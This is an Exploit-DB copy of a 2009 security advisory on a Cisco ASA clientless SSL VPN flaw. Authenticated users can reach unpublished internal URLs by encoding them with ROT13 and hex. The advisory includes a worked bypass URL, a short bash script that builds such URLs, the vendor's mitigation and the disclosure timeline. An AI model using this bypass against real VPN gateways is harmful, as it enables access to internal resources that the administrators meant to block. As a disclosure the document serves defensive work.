Exploit-DB #10510
Description: Cisco ASA 8.x - VPN SSL Module Clientless URL-list control Bypass
Type: remote
Platform: hardware
Date: 2009-12-17
Author: David Eduardo Acosta Rodriguez

Exploit:
=============================================
INTERNET SECURITY AUDITORS ALERT 2009-013
- Original release date: December 7th, 2009
- Last revised: December 16th, 2009
- Discovered by: David Eduardo Acosta Rodriguez
- Severity: 4/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Cisco ASA <= 8.x VPN SSL module Clientless URL-list control bypass

II. BACKGROUND
-------------------------
Cisco VPN SSL [1] is a module for Cisco ASA and Cisco Integrated
Services Routers to extend network resources to virtually any remote
user with access to the Internet and a web browser.

III. DESCRIPTION
-------------------------
Cisco VPN SSL Clientless lets administrators define rules to specific
targets within the private network that WebVPN users will be able to
access. This specific targets are published using links in VPN SSL
home page. These links (URL) are protected (obfuscated) using a ROT13
substitution[2] and converting ASCII characters to hexadecimal. An
user with a valid account and without "URL entry" can access any
internal/external resource simply taken an URL, encrypt with ROT 13,
convert ASCII characters to hexadecimal and appending this string to
Cisco VPN SSL URL.

IV. PROOF OF CONCEPT
-------------------------
Using URL http://intranet published on internal server (not accessible
from home page):
1. Convert string to ROT13: uggc://vagenarg
2. Change ASCII chars to HEX: 756767633a2f2f766167656e617267
3. Append string to Cisco VPN SSL:
https://[CISCOVPNSSL]/+CSCO[PII_REDACTED]3a2f2f766167656e617267++

This is a simple PoC for easy demonstration:

#!/bin/bash
echo -n "write URL:"
read a
b=`echo -n $a | tr '[a-m][n-z][A-M][N-Z]' '[n-z][a-m][N-Z][A-M]' | od
-tx1 | cut  -c8- | sed 's/ //g'` | paste -s -d '';
echo -n "URL "
echo -n "https://[CISCOVPNSSL]/+CSCO+00";; echo -n $b; echo -n "++";
echo "";

V. BUSINESS IMPACT
-------------------------
Users with valid account can surf to internal/external resources,
bypassing controls in home page.

VI. SYSTEMS AFFECTED
-------------------------
Cisco ASA <= 8.x are vulnerable.

VII. SOLUTION
-------------------------
Always set "webtype" ACL and "filter" to block access in Web VPN SSL
(not activated by default). Included in Cisco site now.
Follow recommendations from "Cisco Understanding Features Not
Supported in Clientless SSL VPN" [3].

VIII. REFERENCES
-------------------------
[1] www.cisco.com/web/go/sslvpn
[2] http://en.wikipedia.org/wiki/ROT13
[3] http://www.cisco.com/en/US/docs/security/asa/asa82/configuration/
guide/webvpn.html#wp999589
http://tools.cisco.com/security/center/viewAlert.x?alertId=19609
http://www.isecauditors.com

IX. CREDITS
-------------------------
This vulnerability has been discovered by
David Eduardo Acosta Rodríguez (deacosta (at) isecauditors (dot) com,
                                dacosta (at) computer (dot) org).
Thanks to Juan Galiana Lara (jgaliana (at) isecauditors (dot) com))
for additional research.

X. REVISION HISTORY
-------------------------
December   7, 2009: Initial release.
December  16, 2009: Last revision.

XI. DISCLOSURE TIMELINE
-------------------------
December   9, 2009: Vendor contacted
December   9, 2009: Vendor response, they include our mitigation
                    proposal in their website and start the analysis
                    of correction required.
December  16, 2009: Vendor confirms remediation and public statement.
December  17, 2009: Sent to lists.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.